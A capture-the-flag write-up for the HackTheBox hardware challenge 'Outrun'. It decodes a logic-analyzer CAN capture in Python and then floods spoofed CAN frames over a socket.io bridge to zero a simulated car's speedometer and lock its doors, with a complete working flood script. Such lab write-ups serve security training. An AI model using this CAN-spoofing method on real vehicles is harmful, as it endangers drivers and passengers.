Outrun
hackthebox
Task: HackTheBox hardware challenge with a Saleae .logicdata CAN capture and a socket.io bridge to a live car. Solution: reverse the .logicdata as uint16 analog samples, decode single-wire CAN at 1.25 Mbps (invert + destuff + CRC-15) to learn the frame format, then connect via an Engine.IO v3 client and flood spoofed 0x122 (lock:1) and 0x402 (speed=0) frames to stop the car and lock the doors.
$ ls tags/ techniques/
Outrun — HackTheBox
Description
A corporate spy is escaping in a prototype vehicle. A drone is in range to exploit the TCU (Telematics Control Unit) and grant access to the car's inner CAN network. Stop the car and lock the doors to trap the spy and safeguard the IP.
Two files are given: PCS_checklog.logicdata — a 787 MB Saleae logic-analyzer capture (a "system check log" of the car), and bridge.py — a Python socket.io client wrapper from internal documentation that connects to a live instance on port 5000. Goal: drive the on-board CAN bus to speed 0 and lock the doors over a single socket connection to receive the flag.
Analysis
The challenge has two independent halves: an offline capture that teaches the CAN frame format, and a live socket.io instance where the actual exploit happens.
PCS_checklog.logicdata — Saleae Logic 1.x capture
- Header starts with
7f 01 0a 01 0a "Data save2"and lists two channels (Channel 0/Channel 1). This is the legacy.logicdataformat, NOT the newer.sal.sigrok-clihas no input module for.logicdata, so the file must be parsed by hand (sigrok does, however, ship a usablecanprotocol decoder). - The data region (from offset ~
0x194) is a flat array of uint16 little-endian analog ADC samples, not an RLE/transition list. The recurring "value,0x08" byte pattern people mistake for run-length data is simply the low/high bytes of 16-bit values clustered around ~2057. - Sample rate is a
u32in the header at offset0x19=25000000→ 25 MHz, ~393.7M samples (~15.7 s). - The file has multiple segments. Only the first segment (~samples 4.21M–24M, ~0.8 s) is CAN traffic; later segments are full-scale analog sensor data and are red herrings.
Single-wire CAN at an unusual bitrate
- The line is a single single-ended CAN signal sampled as analog. Idle ≈ low (recessive), dominant ≈ high. The logical bitstream is the inverted physical signal (recessive = 1).
- The shortest pulse = one bit time = 20 samples → bitrate = 25 MHz / 20 = 1.25 Mbps. This is the key gotcha: it is NOT the typical 500 kbps automotive rate. Confirmation is unambiguous — with
BIT=20+ inversion, 102/102 candidate frames pass CRC-15, versus 0 at 500 kbps. - Decoding with an edge-resync sampler + bit destuffing (undo a stuffed bit after 5 identical bits) + CRC-15 validation yields 662 CRC-valid standard 11-bit CAN frames spanning 17 unique IDs:
0x023 0x063 0x153 0x213 0x21E 0x232 0x234 0x343 0x356 0x402 0x403 0x443 0x523 0x541 0x612 0x663 0x665. - Representative frames:
0x612 [10 00 80 00 22 00 00 00](byte0 = heartbeat counter),0x402 [00 00 00 00 00 F1 00 00](byte5 = counter),0x343 DLC=4 [00 60 00 4B]. The log's real purpose is to teach the CAN ID + payload format, not to hand over the commands.
bridge.py and the live server
bridge.pyusessocketio.Client()and emits/receives anendpointevent carrying packet strings in a loop withtime.sleep(0.1).- The server is an old Flask-SocketIO speaking Engine.IO v3 (response framing like
00 09 08 ff 30 ...even when queried withEIO=4). A modernpython-socketio5.x (EIO4) client FAILS with "Unexpected response from server". - A "Car dashboard" web page polls
/datareturning JSON{door_status, rpm, speedometer}and states: "Use of one socket connection is mandatory in order to obtain the flag from the endpoint."door_status1 = unlocked, 0 = LOCKED.
Solution
Phase 1 — Parse .logicdata and decode CAN
parse_logicdata.py reads the uint16 LE samples from offset 0x194; decode_can2.py thresholds + inverts the first segment, samples at 20 samples/bit with edge resync, undoes bit stuffing, and validates CRC-15. Output (can_frames.txt) confirms 1.25 Mbps and the ID#payload structure.
#!/usr/bin/env python3 # decode_can2.py (core) — single-wire CAN from Saleae .logicdata analog samples import numpy as np SAMPLE_RATE = 25_000_000 BIT = 20 # 25 MHz / 20 = 1.25 Mbps raw = np.fromfile("PCS_checklog.logicdata", dtype="<u2", offset=0x194) seg = raw[4_210_000:24_000_000] # first segment = CAN thr = (seg.max() + seg.min()) / 2 bits_phys = (seg > thr).astype(np.uint8) logical = 1 - bits_phys # recessive = 1 (invert) def crc15(bits): crc = 0 for b in bits: x = ((crc >> 14) & 1) ^ b crc = (crc << 1) & 0x7FFF if x: crc ^= 0x4599 return crc # edge-resync sampler -> bitstream, then per-frame: # - SOF(0), 11-bit ID, RTR/IDE/r0, 4-bit DLC, data, 15-bit CRC # - destuff: after 5 identical bits drop the next (complementary) bit # - accept frame iff crc15(SOF..data) == transmitted CRC # Result: 662 CRC-valid frames, 17 unique IDs (incl. 0x122-family, 0x402, 0x343...)
Phase 2 — Connect with an Engine.IO v3 client
python3 -m venv venv && . venv/bin/activate pip install "python-socketio==4.6.1" "python-engineio==3.14.2"
import socketio sio = socketio.Client() sio.connect('http://IP:PORT') # NO trailing slash — critical for EIO3
Phase 3 — Reverse control semantics from live traffic
Listening to live endpoint events:
- ID
0x122carries ASCII:122#6c6f636b3a300000→lock:0(unlocked). This is the door-lock frame. - Door lock: emit
122#+hex("lock:1")=122#6c6f636b3a310000→/datadoor_statusflips to 0 (locked). Confirmed. - Speed: ID
0x402carries the speedometer. Flooding0x402byte-by-byte showsbytes[4:6]form a 16-bit big-endian value withspeedometer = (b4<<8 | b5) - 52. Sob4=0, b5=0x34→ speed 0:402#0000000000340000. Confirmed. - RPM: server-side random (~4600–5500), NOT controllable by any frame (verified by flooding every ID with
0x00/0xFF). Cosmetic decoy — ignore. - Single setpoints do not persist: the server continuously re-emits its own random telemetry on
0x402andlock:0on0x122. You must flood to win the race.
Phase 4 — Exploit (flood over one socket)
#!/usr/bin/env python3 import socketio, time sio = socketio.Client() SPEED0 = "402#0000000000340000" # speedometer -> 0 LOCK = "122#6c6f636b3a310000" # ASCII "lock:1" -> doors locked @sio.on('endpoint') def on_endpoint(data): print("recv:", data) # flag arrives here when car stopped + locked sio.connect('http://IP:PORT') # no trailing slash, EIO3 client while True: sio.emit('endpoint', SPEED0) sio.emit('endpoint', LOCK) time.sleep(0.001) # tight loop to beat server's random telemetry
Continuously emitting both frames over the single connection holds speedometer=0 AND door_status=0 simultaneously, beating the server's re-emitted telemetry → the car is stopped and the doors are locked → the flag is delivered on the endpoint event.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [hardware][Pro]Prison Escape— hackthebox
- [hardware][free]RFlag— hackthebox
- [hardware][free]Project Power Challenge Scenario— hackthebox
- [pwn][Pro]Easy ROP— hackerlab
- [pwn][free]Getting Started— hackthebox